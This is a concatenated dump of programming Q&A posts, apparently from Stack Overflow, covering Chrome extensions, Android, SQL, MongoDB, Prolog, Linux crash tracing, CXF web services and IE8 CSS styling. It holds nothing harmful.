
13681489	0	 <p><a href="https://developer.chrome.com/extensions/content_scripts.html#execution-environment" rel="nofollow">Execution environment</a> of <a href="https://developer.chrome.com/extensions/content_scripts.html" rel="nofollow">Content Scripts</a> ensure content scripts can communicate among themselves</p> <p><strong>Ex:</strong></p> <pre><code>"content_scripts": [ { "matches": ["&lt;all_urls&gt;"], "js": ["myscript.js","myscript1.js"] } ] } </code></pre> <p>A <a href="https://developer.chrome.com/extensions/content_scripts.html#host-page-communication" rel="nofollow">Individual DOM Environment</a> where content scripts <code>["myscript.js","myscript1.js"]</code> injected ensures <code>myscript1.js</code> have access to all contents <em>(Functions,Variables)</em> of <code>myscript.js</code>, but this stops from two <a href="https://developer.chrome.com/extensions/content_scripts.html#host-page-communication" rel="nofollow">Individual DOM Environment</a>'s being communicating.</p> <p>Having said that, What Limitation\requirement you see in <a href="https://developer.chrome.com/extensions/content_scripts.html" rel="nofollow">Content Scripts</a> which calls for requirement where <strong><a href="https://developer.chrome.com/extensions/messaging.html" rel="nofollow">message passing</a></strong> needs <a href="https://developer.chrome.com/extensions/background_pages.html" rel="nofollow">background pages</a> to access <a href="https://developer.chrome.com/extensions/content_scripts.html#host-page-communication" rel="nofollow">DOM of injected pages</a>?</p> <p>Please Elaborate</p>
33058299	0	Stop Dialog from showing after orientation changes <p>I have a custom Dialog class in which I instantiate the dialog like this</p> <pre><code>dg = new Dialog(con); dg.requestWindowFeature(Window.FEATURE_NO_TITLE); Window window = dg.getWindow(); window.setBackgroundDrawableResource(android.R.color.transparent); dg.setContentView(R.layout.listview_dialog_layout); //set views etc.. dg.show(); </code></pre> <p>When an orientation change occurs in the activity that the dialog is shown the activity data changes are lost but the dialog still stays open. I would like the dialog to be dismissed at orientation changes just like it happens with the default Dialog created through an AlertDialog.Builder. How can I do that?</p> <p>I prefer a solution that is implemented in the custom Dialog class instead of going to every activity and type dialog.dismiss(); at activity pause or stop</p>
13576512	0	 <pre><code>SELECT a.STATE , COALESCE(b.count, 0) AS Count FROM ( SELECT 'done' AS STATE UNION SELECT 'open' AS STATE UNION SELECT 'pending' AS STATE UNION SELECT 'draft' AS STATE UNION SELECT 'cancel' AS STATE ) a LEFT JOIN ( SELECT STATE , count(*) AS count FROM crm_lead GROUP BY STATE ) b ON a.STATE = b.STATE </code></pre>
35048717	0	 <p>When runnning from noGUI option, the script do not have access to mdb object. You may want to try running the script after including the following line:</p> <pre><code> from abaqus import * </code></pre> <p>By including the above line, abaqus imports all modules and will gain access to mdb object. </p>
34090237	0	 <p>SIP response codes are splitted in 6 classes</p> <ul> <li><p><code>1xx</code>: <code>Provisional</code> — request received, continuing to process the request; Provisional responses, also known as informational responses, indicate that the server contacted is performing some further action and does not yet have a definitive response. A server sends a 1xx response if it expects to take more than 200 ms to obtain a final response. Note that 1xx responses are not transmitted reliably. They never cause the client to send an ACK. Provisional (1xx) responses MAY contain message bodies, including session descriptions.</p></li> <li><p><code>2xx</code>: <code>Success</code> — the action was successfully received, understood, and accepted;</p></li> <li><p><code>3xx</code>: <code>Redirection</code> — further action needs to be taken in order to complete the request;</p></li> <li><p><code>4xx</code>: <code>Client Error</code> — the request contains bad syntax or cannot be fulfilled at this server;</p></li> <li><p><code>5xx</code>: <code>Server Error</code> — the server failed to fulfill an apparently valid request;</p></li> <li><p><code>6xx</code>: <code>Global Failure</code> — the request cannot be fulfilled at any server.</p> <p>Here you can find <a href="http://www.pjsip.org/pjsip/docs/html/group__PJSIP__MSG__LINE.htm" rel="nofollow">PJSIP struct which holds these codes</a> and <a href="https://en.wikipedia.org/wiki/List_of_SIP_response_codes" rel="nofollow">SIP codes description</a></p></li> </ul>
29177457	0	 <pre><code>select g.person_id from @person_groups g inner join @tempGroupList l on g.group_id = l.group_id group by g.person_id having count(distinct g.group_id) = (select count(*) from @tempGroupList); </code></pre> <p>To explain slightly. The <code>inner join</code> restricts us to just the groups in question. The <code>group by</code> allows us to calculate the number of different (distinct) groups each person is in. The <code>having</code> filters down to the people in the right number of distinct groups.</p> <p>If a person can only appear once in each group (i.e. <code>group_id, person_id</code> is a unique combination in <code>@person_groups</code>) then you don't need the <code>distinct</code>.</p>
36587596	0	Spark ML, Spark NLP, Other ML or NLP Libraries - Getting the Root Keyword from Synonyms <p>I have used Word2Vec to get the synonyms for a root keyword, but am now on the lookout for the reverse. That is, given a string (however large or small) that contains a bunch of synonyms for multiple root keywords, how do I gather the root keywords and their synonyms from the string, after discarding words that don't relate to any root keyword?</p> <p>Example: A string containing these words (and many more) ...</p> <pre><code>pupstar puppystar bitchstar curstar doggystar houndstar mongrelstar muttstar poochstar straystar tykestar bowwowstar fidostar flea bagstar man's best friendstar tail-wagger bobcatstar cheetahstar cougarstar jaguarstar kittenstar kittystar leopardstar lionstar lynxstar mouserstar ocelotstar pantherstar pumastar pussstar pussystar tabbystar tigerstar tomstar tomcatstar grimalkinstar malkin </code></pre> <p>should give me ...</p> <pre><code>dog: (...,...,...) cat: (...,...,...) </code></pre> <p>Thanks in advance for your response.</p> <p>Naga Vijayapuram</p>
10254421	0	 <p>Most likely Dependency. Associations are normally used to capture some relationship that has meaningful semantics in a domain. So, for example, Secretary 'works for' Manager. Your example is different: you're not capturing meaningful relationships among instances. Therefore Dependency is probably most appropriate.</p> <p>More importantly though: what are you trying to illustrate? Remember to use UML like any other tool - make it work for you. So, for example, it's fine to show a binary association if (a) it helps you and/or (b) it helps you communicate with other team members. The fact that it doesn't comply with the intended UML usage doesn't matter - as long as you find it useful.</p> <p>hth.</p>
8039305	0	Can't get Map/Reduce to work with MongoDB <p>I've got this code:</p> <pre><code>// construct map and reduce functions $map = new MongoCode(" function() { ". "var key = {date: this.timestamp.getFullYear()+this.timestamp.getMonth()+this.timestamp.getDate()};". "emit(key, {count: 1}); }" ); $reduce = new MongoCode(" function(k, vals) { ". "var sum = 0;". "for (var i in vals) {". "sum += vals[i];". "}". "return sum;". "}" ); $dates = $db-&gt;command(array( "mapreduce" =&gt; "items", "map" =&gt; $map, "reduce" =&gt; $reduce, //"query" =&gt; array("type" =&gt; "sale"), "out" =&gt; array("merge" =&gt; "distinct_dates") ) ); </code></pre> <p>But get this error when testing: </p> <blockquote> <p>Array ( [assertion] => map invoke failed: JS Error: TypeError: this.timestamp.getFullYear is not a function nofile_b:0 [assertionCode] => 9014 [errmsg] => db assertion failure [ok] => 0 ) Cron run finished.</p> </blockquote> <p>Each object in the collection has a timestamp, from which I want to extract a date (Ymd), and put each distinct date in a new collection.</p>
104890	0	Dealing with the rate of change in software development <p>I am primarily a .NET developer, and in that sphere alone there are at any given time probably close to a dozen fascinating emerging technologies, some of them real game-changers, that I would love to delve into. </p> <p>Sadly, this appears to be beyond the limits of human capacity. </p> <p>I read an article by Rocky Lhotka (.NET legend, inventor of CSLA, etc) where he mentioned, almost in passing, that last year he felt very terribly overwheled by the rate of change. He made it sound like maybe it wasn't possible to stay on the bleeding edge anymore, that maybe he wasn't going to try so hard because it was futile. </p> <p>It was a surprise to me that true geniuses like Lhotka (who are probably expected to devote a great deal of their time to playing with the latest technology and should be able to pick things up quickly) also feel the burn!</p> <p>So, how do you guys deal with this? Do you just chalk it up to the fact that development is vast, and it's more important to be able to find things quickly than to learn it all? Or do you have a continuing education strategy that actually allows you to stay close to the cutting edge?</p>
13216641	0	prolog expanding predicate to iterate for multiple results, combining / resolving result sets <p>I have a predicate "lookupOptions" which returns one by one some lists (Menus).</p> <p>I'm trying to get it to satisfy the case of multiple inputs. I can return a single set of options as follows, by reading the head of the "list_places" list. </p> <pre><code>find_options(Restaurant,Town,Menu) :- lookupOptions(Restaurant,H,Menu), list_places(Town,[H|T]) </code></pre> <p>But, I'm not able to get it to iterate.</p> <p>I have tried a lot of things, these were my best efforts so far.</p> <p>a) standard enough iteration, but it wont resolve ...</p> <pre><code>doStuff(X,[],_). doStuff(Restaurant,[H|T],_):- lookupOptions(Resturant,H,_), doStuff(Restaurant,T,_). find_options(Restaurant,Town,Menu) :- doStuff(Restaurant,[H|T],Menu), list_places(Town,[H|T]). </code></pre> <p>b) expanding the goal predicate ...</p> <pre><code>find_options(_,Town,[H|T],_) find_options(Restaurant,Town,Menu) :- find_options(Restaurant,Town,[],Menu). find_options(Restaurant,Town,X,Menu) :- list_places(Town,X). find_options(Restaurant,Town,[H|T],Menu) :- lookupOptions(Restaurant,[H],Menu), find_options(Restaurant,Town,T,Menu). </code></pre> <p>Would either of these work ? if the pattern was written correctly. Or if there was an appropriate cut put in place?</p> <p>Any help most appreciated ... </p>
22857488	0	 <p>I manage to do it but I'm not satisfied please if someone know a better way to do this explain it. In app.js :</p> <pre><code>io.sockets.on('connection', function(socket) { var form = require('./controlers/form'); form.init(); var form_copy = _.extend({},form); socket.set( socket.id, form_copy, function() { console.log("form setted"); socket.on('next', function(data) { console.log("next"); socket.get( socket.id,function(error,form_socket){ //I will handle the error ty Tim console.log("form getted"+error); console.log(form_socket); socket.emit('next', form_socket.next()); }); }); }); }); </code></pre> <p>@Tim Brown : in my case socket.set alone is not working because it's passing a reference so I end up dealing with the same issue. </p> <p>My workaround is to make a copy of the form object before passing it to socket.set. But as I said I'm not satisfied even thow it's working. Maybe It's the best way tell me what you think in the comments.</p>
1023882	0	Linux: How to debug a SIGSEGV? How do I trace the error source? <p>My firefox started crashing since today. I haven't changed anything on the system or on firefox config.</p> <p>I use<br> <strong><code>strace -ff -o dumpfile.txt firefox</code></strong><br> to trace the problem. It's not a big help.</p> <p>I see the segfault, in two of the generated process dumps, but how I can <strong>trace</strong> them to their cause?</p> <p>After running for 10 seconds and crashing, 22MB of data is generated by strace.</p> <p>This is a snippet of the output, where you can see actual SIGSEGV in the middle.:</p> <pre> read(19, "\372", 1) = 1 gettimeofday({1245590019, 542231}, NULL) = 0 read(3, "\6\0[Qmy\26\0\3\1\0\0Y\0\200\2\0\0\0\0\323\3A\0\323\3(\0\20\0\1\0", 4096) = 32 read(3, 0xf5c55058, 4096) = -1 EAGAIN (Resource temporarily unavailable) gettimeofday({1245590019, 542813}, NULL) = 0 poll([{fd=4, events=POLLIN}, {fd=3, events=POLLIN}, {fd=8, events=POLLIN|POLLPRI}, {fd=12, events=POLLIN|POLLPRI}, {fd=13, events=POLLIN|POLLPRI}, {fd=14, events=POL read(3, 0xf5c55058, 4096) = -1 EAGAIN (Resource temporarily unavailable) gettimeofday({1245590019, 543161}, NULL) = 0 gettimeofday({1245590019, 546672}, NULL) = 0 gettimeofday({1245590019, 546761}, NULL) = 0 read(3, 0xf5c55058, 4096) = -1 EAGAIN (Resource temporarily unavailable) gettimeofday({1245590019, 546936}, NULL) = 0 poll([{fd=4, events=POLLIN}, {fd=3, events=POLLIN}, {fd=8, events=POLLIN|POLLPRI}, {fd=12, events=POLLIN|POLLPRI}, {fd=13, events=POLLIN|POLLPRI}, {fd=14, events=POL poll([{fd=3, events=POLLIN|POLLOUT}], 1, 4294967295) = 1 ([{fd=3, revents=POLLOUT}]) writev(3, [{"5\30\4\0006\21\200\2\266\n\200\2\17\0]\3\230\4\5\0007\21\200\0026\21\200\2\317\0\0\0"..., 1624}, {NULL, 0}, {"", 0}], 3) = 1624 poll([{fd=3, events=POLLIN}], 1, 4294967295) = 1 ([{fd=3, revents=POLLIN}]) read(3, "\1\30\224Q\17\17\0\0\0\0\0\0\0\0\0\0000\235\273\0\0\0\0\0o\264Q\0\0\0\0\0"..., 4096) = 4096 read(3, "\375\240f\0\376\242j\0\377\261\200\0\271a+\0\271a+\0\377\261\200\0\376\252w\0\376\250s\0"..., 11356) = 11356 read(3, 0xf5c55058, 4096) = -1 EAGAIN (Resource temporarily unavailable) poll([{fd=3, events=POLLIN|POLLOUT}], 1, 4294967295) = 1 ([{fd=3, revents=POLLOUT}]) writev(3, [{"\230\32\7\0\1\21\200\2?\21\200\2\377\377\377\377\377\377\377\377\0\0\0\0\17\0\1\0015\10\4\0"..., 956}, {NULL, 0}, {"", 0}], 3) = 956 poll([{fd=3, events=POLLIN}], 1, 4294967295) = 1 ([{fd=3, revents=POLLIN}]) read(3, "\1\30\256Q\17\17\0\0\0\0\0\0\0\0\0\0000\235\273\0\0\0\0\0o\264Q\0\0\0\0\0"..., 4096) = 4096 read(3, "\375\240f\0\376\242j\0\377\261\200\0\271a+\0\271a+\0\377\261\200\0\376\252w\0\376\250s\0"..., 11356) = 11356 read(3, 0xf5c55058, 4096) = -1 EAGAIN (Resource temporarily unavailable) --- SIGSEGV (Segmentation fault) @ 0 (0) --- unlink("/home/userrrr/.mozilla/firefox/mvbnkitl.default/lock") = 0 rt_sigaction(SIGSEGV, {SIG_DFL, ~[HUP INT QUIT ABRT BUS FPE KILL PIPE CHLD CONT TTOU URG XCPU WINCH RT_1 RT_2 RT_3 RT_4 RT_8 RT_11 RT_14 RT_17 RT_22], SA_NOCLDSTOP}, rt_sigprocmask(SIG_BLOCK, ~[ILL ABRT BUS FPE SEGV RTMIN RT_1], ~[KILL STOP RTMIN RT_1], 8) = 0 open("/home/userrrr/.mozilla/firefox/mvbnkitl.default/minidumps/56b30367-5ee2-0495-32646b7f-59dc87e9.dmp", O_WRONLY|O_CREAT|O_EXCL, 0600) = 63 clone(child_stack=0xf5bfffe4, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_UNTRACED) = 18929 waitpid(18929, NULL, __WALL) = 18929 open("/proc/18913/task", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|O_CLOEXEC) = 64 fstat64(64, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 getdents64(64, /* 12 entries */, 1024) = 368 ptrace(PTRACE_DETACH, 18913, 0, SIG_0) = -1 ESRCH (No such process) close(64) = 0 ftruncate(63, 91256) = 0 close(63) = 0 rt_sigprocmask(SIG_SETMASK, ~[KILL STOP RTMIN RT_1], ~[KILL STOP RTMIN RT_1], 8) = 0 time(NULL) = 1245590020 open("/home/userrrr/.mozilla/firefox/Crash Reports/LastCrash", O_WRONLY|O_CREAT|O_TRUNC, 0600) = 63 write(63, "1245590020", 10) = 10 </pre>
7865724	0	How would I use regex to obtain a piece of a link? <p>Current code:</p> <pre><code>public static void WhoIsOnline(string worldName, WhoIsOnlineReceived callback) { string url = "http://www.tibia.com/community/?subtopic=worlds&amp;world=" + worldName; HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); request.BeginGetResponse(delegate(IAsyncResult ar) { string html = GetHTML(ar); MatchCollection matches = Regex.Matches(html, @"&lt;TD WIDTH=70%&gt;&lt;[^&lt;]*&gt;([^&lt;]*)&lt;/A&gt;&lt;/TD&gt;&lt;TD WIDTH=10%&gt;([^&lt;]*)&lt;/TD&gt;&lt;TD WIDTH=20%&gt;([^&lt;]*)&lt;/TD&gt;&lt;/TR&gt;"); List&lt;CharOnline&gt; chars = new List&lt;CharOnline&gt;(matches.Count); CharOnline co; for(int i = 0; i &lt; matches.Count; i++) { co = new CharOnline(); co.Name = Prepare(matches[i].Groups[1].Value); co.Level = int.Parse(matches[i].Groups[2].Value); co.Vocation = Prepare(matches[i].Groups[3].Value); chars.Add(co); } callback(chars); }, request); } </code></pre> <p>I was using this to scrape the online list, but they have changed their layout and I'm not sure how to change the regex to get the same information.</p> <p><a href="http://www.tibia.com/community/?subtopic=worlds&amp;world=Libera" rel="nofollow">http://www.tibia.com/community/?subtopic=worlds&amp;world=Libera</a></p> <p>The link I am trying to use above.</p>
10895183	0	marshal and unmarshal with CXF <p>in my server when a client attempt to access to my webservice i get this error</p> <pre> Caused by: javax.xml.bind.JAXBException: hibernate.SBaraque is not known to this context at com.sun.xml.bind.v2.runtime.JAXBContextImpl.getBeanInfo(JAXBContextImpl.java:619) at com.sun.xml.bind.v2.runtime.ElementBeanInfoImpl$1.serializeBody(ElementBeanInfoImpl.java:145) ... 42 more </pre> <p>this error show when my client try to call this methode :</p> <pre class="lang-java prettyprint-override"><code>@WebResult(name="listes") public List findByPropery(@WebParam(name="arg1") String arg1, @WebParam(name="Value1") Object Value1); </code></pre> <p>which call the DAO class</p> <pre class="lang-java prettyprint-override"><code>public List findByPropery(String arg1, Object Value1) { // TODO Auto-generated method stub System.out.println("findByPropery DAO IN"); return getSession().createQuery("from SBaraque where "+arg1+" = ?").setParameter(0, Value1).list(); } </code></pre> <p>this is my interface :</p> <pre class="lang-java prettyprint-override"><code>@WebService public interface InterfaceService { public void save(@WebParam(name="object") Object obj); public void modify(@WebParam(name="object") Object obj); public void delete(@WebParam(name="object") Object obj); @WebResult(name="listes") public List findAll(); @WebResult(name="object") public Object findById (@WebParam(name="id") Integer id); @WebResult(name="listes") public List findByListPropery(@WebParam(name="arg1") String arg1, @WebParam(name="Value1") Object Value1, @WebParam(name="arg2") String arg2, @WebParam(name="Value2") Object Value2); @WebResult(name="listes") public List findByPropery(@WebParam(name="arg1") String arg1, @WebParam(name="Value1") Object Value1); @WebResult(name="listes") public List findBySQLRequest(@WebParam(name="request") String request); @WebResult(name="listes") public List findByHQLRequest(@WebParam(name="request") String request); } </code></pre>
15256366	0	 <p>I think the problem arises because your data file has 5 columns and your <code>names</code> list has 6 elements. To verify, check the first few values in the <code>id</code> column- these will all be set to <code>6</code> if I am right. The First few items in the <code>exp</code> column will have the value <code>3</code>.</p> <p>To fix this, read your input file like so:</p> <pre><code>rs =pd.read_csv('rs.txt', header="infer", sep="\t", names=['exp','fov','cycle', 'color', 'values'], index_col=2 </code></pre> <p>Pandas will automatically insert row identifiers.</p>
25187737	0	Trying to implement an android spinner. but when I touch it, the dropdown menu doesn't open. nothing happens. why? <p>I was trying to implement an android spinner, a button, if I click should open a dropdown menu showing three things: "bluetooth, speak, headphones" but all i see now is the button, (no text), and when I click on it, nothing happens. what am i missing?</p> <p>here is my code: in the xml i have:</p> <blockquote> <pre><code> &lt;RelativeLayout android:id="@+id/audio_routing" android:layout_width="40dp" android:layout_height="40dp" android:padding="10dp" &gt; &lt;Spinner android:id="@+id/audio_routing_spinner" android:layout_width="20dp" android:layout_height="40dp" android:contentDescription="@string/audio_routing_desc" android:scaleType="fitXY" android:src="@drawable/bluetooth" /&gt; &lt;/RelativeLayout&gt; </code></pre> </blockquote> <p>in the strings file i have:</p> <blockquote> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;resources&gt; ... &lt;string name="audio_routing_desc"&gt;Audio Routing Button&lt;/string&gt; &lt;!-- Audio Routing Drop Down List --&gt; &lt;string-array name="audio_routing_array"&gt; &lt;item&gt;Bluetooth&lt;/item&gt; &lt;item&gt;Headphones&lt;/item&gt; &lt;item&gt;Speaker&lt;/item&gt; &lt;/string-array&gt; </code></pre> </blockquote> <p>in my java file i have:</p> <blockquote> <pre><code> void audio_routing() { kcLogger.info("audio_routing", "audio_routing function is called"); Spinner spinner = (Spinner) mKCSWindowView.findViewById(R.id.audio_routing_spinner); ArrayAdapter&lt;CharSequence&gt; adapter = ArrayAdapter.createFromResource(service,R.array.audio_routing_array,android.R.layout.simple_spinner_item); adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); spinner.setAdapter(adapter); spinner.setOnItemSelectedListener(new OnItemSelectedListener() { @Override public void onItemSelected(AdapterView&lt;?&gt; parent, View view, int position, long id) { // TODO Auto-generated method stub kcLogger.info("audio_routing", "onItemSelected"); } @Override public void onNothingSelected(AdapterView&lt;?&gt; parent) { // TODO Auto-generated method stub kcLogger.info("audio_routing", "onNothingSelected"); } }); } </code></pre> </blockquote>
6725684	0	 <p>You have not specified how much rows should be added to the textarea but I hope this answers your question. This code will work only if you have already set the default number of rows of your textarea in HTML, through the <code>rows</code> attribute.</p> <pre><code>$(function () { var rowsAdded = false; $("#myTextarea").keyup(function () { var textarea = $(this); if (textarea.val().length &gt; 52 &amp;&amp; !rowsAdded) { textarea.attr('rows', parseInt(textarea.attr('rows')) + rowsToAdd); // replace rowsToAdd with the number of rows to add to the textarea rowsAdded = true; } }); }); </code></pre>
8783868	0	 <p>The ZBar scanner just gives you back a value, and you can do whatever you choose with it. See the following example, which pushes a WebViewController when a barcode is scanned. You could modify it to check which barcode is scanned specifically, and load the right web view accordingly.</p> <pre><code>- (void) readerView: (ZBarReaderView*) view didReadSymbols: (ZBarSymbolSet*) syms fromImage: (UIImage*) img { // do something useful with results for(ZBarSymbol *sym in syms) { NSString *data = sym.data; WebViewController *wv = [[WebViewController alloc] initWithNibNameAndURL:@"WebView" bundle:[NSBundle mainBundle] url:[NSString stringWithFormat:@"http://www.companyname.com?scan=%@", data]]; [self.navigationController pushViewController:wv animated:YES]; break; } } </code></pre> <p>Note that WebViewController is a ViewController which I created a custom initialization for so I could pass in a URL, and load it in the UIWebView once it's pushed to the Navigation Controller.</p> <p>Hope that helps.</p>
12088941	0	Abandon Session Without Clearing All <p><strong>Overview :</strong> I created a system that have Customer area and Admin area. Both areas have different log-in page. A user can be logged in as <em>User A</em> in Admin area at the same time logged in as <em>User B</em> in Customer area.</p> <p>When a user log-out from either Customer or Admin area, <code>Session.Abandon()</code> is called and it removes session in both Customer and Admin area <strong>which I don't want to happen</strong></p> <p><strong>Question :</strong> Can I abandon session on log-out without affecting other area's session ? (i.e : When I log out from Customer area, I should stay logged-in in Admin area)</p> <p><strong>Update :</strong> I know <code>Session.Clear()</code> can be a workaround for this, but I'm afraid of the security risks it might impose. </p>
10609174	0	 <p><a href="http://railscasts.com/episodes/29-group-by-month" rel="nofollow">http://railscasts.com/episodes/29-group-by-month</a></p> <pre><code>NewsFeed.where("user_id is not in (?)",[user_ids]).group_by { |t| t.created_at.beginning_of_month } =&gt; each {|month,feed| ...} NewsFeed.select("*,MONTH(created_at) as month").where("user_id is not in (?)",[user_ids]).group("month") =&gt; ... </code></pre>
7073300	0	 <p>Try using the following attribute</p> <pre><code>[ServiceKnownType(typeof(List&lt;string&gt;))] </code></pre> <p>If that doesn't work, perhaps try using <code>IList&lt;T&gt;</code> if that is possible in your situation</p>
933104	0	Web service calls and proxy authentication in the real world <p>We are developing an app that consists of a web server that hosts a web service (amongst other things) and a client that will be communicating with that web service. Both the client app and the server are expected to be used within a corporate firewall. This application will be packaged up and deployed to organizations across the world—so it needs to be flexible enough to work in multiple types of environments.</p> <p>My question revolves around web service authentication and what is appropriate for real world scenarios. I know some companies have proxy servers that require a separate authentication. How often is this a requirement across organizations? When does the proxy server force the user to authenticate (can you access internal sites without authenticating.. is the authentication for only external sites)?</p> <p>Reason I ask these questions, is I’m not sure what kind of capability we should build into our client application for authentication to the web service. By default, we are taking the current user credentials and passing that up to the server. Do you think this is sufficient? In a case where a company will require some form of alternate authentication for internal access, this will not work. My question revolves around this last case—how often does it happen? Why would a company force alternate credentials for internal access?</p> <p>Thanks!</p>
10670201	0	 <p>I just Find a solution to walk-through this problem. i take a instant screenshot and show it. Thanks to Radu Motisan for his tutorial. the solution use JNI instead of other way using external Library.</p> <p>Here is the link : <a href="http://www.pocketmagic.net/?p=1473" rel="nofollow">http://www.pocketmagic.net/?p=1473</a></p>
28175581	0	How to compile dependencies using cmake? <p>Given that I have the following file structure,</p> <pre><code>my_project CMakeLists.txt /include ...headers /src ...source files /vendor /third-party-project1 CMakeLists.txt /third-party-project2 CMakeLists.txt </code></pre> <p>How do I use the third party projects by compiling them according to their CMakeLists.txt files from my own CMake file? I specifically need their include dirs, and potentially any libs they have.</p> <p>Furthermore, how could I use FIND_PACKAGE to test if the third party projects are installed in the system, and if they don't compile and link against the included ones?</p>
11781931	0	 <p>As mentioned in the comments of the <code>laxbreak</code> answer, <strong><code>laxcomma</code></strong> option should actually be used for this particular situation (it has been implemented in the meantime). See <a href="http://jshint.com/docs/options/">http://jshint.com/docs/options/</a> for details.</p>
4814196	0	Relative Layout Programmatically <p>I have a relative layout which consists a <code>Button</code> a <code>EditText</code></p> <p>At the time of page loading I am initializing the relative layout like this </p> <pre><code>RelativeLayout bottomLayout; bottomLayout = (RelativeLayout) findViewById(R.id.s_r_l_bottom); RelativeLayout.LayoutParams layoutParams = (RelativeLayout.LayoutParams) bottomLayout .getLayoutParams(); layoutParams.addRule(RelativeLayout.ALIGN_PARENT_BOTTOM, -1); bottomLayout.setLayoutParams(layoutParams ); </code></pre> <p>As a result my relative layout was at the bottom of the screen. Now what I am trying that I also have <code>Button</code> on the top the screen .</p> <p>By pressing the button I want that the relative layout will be on the center of the screen</p> <p>For that I have used the following code on button click(The code is executing.I have tested that).But it did not help me.</p> <pre><code>RelativeLayout.LayoutParams layoutParams = (RelativeLayout.LayoutParams) bottomLayout.getLayoutParams(); layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT, -1); bottomLayout.setLayoutParams(layoutParams); </code></pre> <p>Can you please help me out to fix this?</p>
34069082	0	 <p>You can develop qpython project as other python projects with your pc or MC, and upload the project into your mobile's /sdcard/com.hipipal.qpyplus/projects/ then run it in qpython.</p> <p>The qpython project should contain the main.py which is used for the project first launch script.</p> <p>Besides adb (android develop tool), you can use the qpython's FTP service ( You could find it in setting page ) or other FTP app to upload the project into your mobile.</p> <p>GOOD NEWS: In the newest qpython(1.2.2), it contains a qedit4web.py which allow you develop from browser and edit and run code from your mobile.</p>
20076302	0	Where should I host php file for ajax call? <p>So I have a very simple request. I am trying to make a call using jQuery to a php file so that the file's response will be put into a "div". I know there are other posts but for some reason none of them seem to be working for me.</p> <p>Here is my code:</p> <p><strong>gettable.php</strong></p> <pre><code>&lt;?php echo "&lt;p&gt;Great-Success&lt;/p&gt;"; ?&gt; </code></pre> <p><strong>sequencingfile.html</strong></p> <pre><code>jQuery("#tableHolder").load("/path/to/php-file/gettable.php", function(response, status, xhr) { alert(response); alert(status); alert(xhr); if (status == "error") { console.log(msg + xhr.status + " " + xhr.statusText); } }); </code></pre> <p><strong>Notes</strong></p> <ul> <li><p>The contents of the div changes to this:</p> <p>Great-Success</p> <p>"; ?></p></li> <li><p>The html code is run after you click a button</p></li> <li>The div which I am trying to load the echo from the php call has id "tableHolder".</li> <li>I am running this on the firefox, it doesn't work on chrome at all.</li> <li>The response is the actual contents of the php file itself.</li> <li>The status is "success".</li> <li><p>The xhr is "[object Object]"</p></li> <li><p>Eventually I am trying to call the php file to query from a mysql database to create a table(if you know of a better and more efficient way of doing this please let me know), but for now all I want is the echo of the php call to come back and be put into the div as it should.</p></li> <li>The file is set locally</li> <li>The computer is linux</li> <li>That's all the detail I can think of, please let me know if you need any more details</li> </ul> <p><strong>EDIT</strong></p> <p>Alright I have set up an apache server and changed the link to <code>http://127.0.0.1/gettable.php</code> and it still doesn't work. When I type that url into firefox or chrome it works, but not when I run the html file. What am I doing wrong?</p>
24682002	0	Internet Explorer 8 producing strange CSS bug on :hover <p>I'm working on website development, styling a breadcrumb trail with CSS at the moment. However, I came across this strange bug in Internet Explorer 8, and I can't figure out why it's happening. To illustrate, here are some images:</p> <p>This is what one of the breadcrumbs is supposed to look like when hovered over: <a href="http://i.imgur.com/Lrr5Qo0.png" rel="nofollow">http://i.imgur.com/Lrr5Qo0.png</a> (image taken in Chrome)</p> <p>In Internet Explorer, this is what it looks like when hovering: <a href="http://i.imgur.com/V5dzdcX.png" rel="nofollow">http://i.imgur.com/V5dzdcX.png</a></p> <p>It displays fine before hovering, but as soon as the mouse goes over it, it goes nuts.</p> <p>I've gone through the CSS code, and the only attributes related to :hover are color, background, overflow, and text-decoration. There is nothing to do with margin, padding, height, etc.</p> <p>What could possible be causing this?</p> <p>Relevant HTML:</p> <pre><code>&lt;div class="headtitle pull-left"&gt; &lt;h1 id="pageTitle" class="ms-core-pageTitle"&gt; CX Team &lt;/h1&gt; &lt;ul class="s4-breadcrumb"&gt; &lt;li class="s4-breadcrumbRootNode"&gt; &lt;span class="s4-breadcrumb-arrowcont"&gt; &lt;img src="/_layouts/images/nodearrow.png" alt="" style="border-width:0px;display:inline-block;padding-top:4px;" /&gt; &lt;/span&gt; &lt;a class="s4-breadcrumbRootNode" href="/sites/cc/Pages/index.aspx"&gt;Connect&lt;/a&gt; &lt;ul class="s4-breadcrumbRootNode"&gt; &lt;li class="s4-breadcrumbNode"&gt; &lt;span class="s4-breadcrumb-arrowcont"&gt; &lt;img src="/_layouts/images/nodearrow.png" alt="" style="border-width:0px;display:inline-block;padding-top:4px;" /&gt; &lt;/span&gt; &lt;a class="s4-breadcrumbNode" href="/sites/cc/residential/Pages/index0709-9951.aspx"&gt;Residential&lt;/a&gt; &lt;ul class="s4-breadcrumbNode"&gt; &lt;li class="s4-breadcrumbNode"&gt; &lt;span class="s4-breadcrumb-arrowcont"&gt; &lt;img src="/_layouts/images/nodearrow.png" alt="" style="border-width:0px;display:inline-block;padding-top:4px;" /&gt; &lt;/span&gt; &lt;a class="s4-breadcrumbNode" href="/sites/cc/residential/customerexperience/Pages/default.aspx"&gt;Customer Experience&lt;/a&gt; &lt;ul class="s4-breadcrumbNode"&gt; &lt;li class="s4-breadcrumbCurrentNode"&gt; &lt;span class="s4-breadcrumb-arrowcont"&gt; &lt;img src="/_layouts/images/nodearrow.png" alt="" style="border-width:0px;display:inline-block;padding-top:4px;" /&gt; &lt;/span&gt; &lt;a class="s4-breadcrumbCurrentNode" href="/sites/cc/residential/customerexperience/Pages/CX-Team.aspx"&gt;CX Team&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>I unfortunately don't have control over this; it is created dynamically by Sharepoint (which I am forced to use).</p> <p>CSS: </p> <pre><code>.s4-breadcrumb a:hover { overflow:auto\9; filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FF9900', endColorstr='#FF6600'); background-image:-moz-linear-gradient(top,#F90,#F60); background-image:-webkit-gradient(linear,0 0,0 100%,from(#F90),to(#F60)); 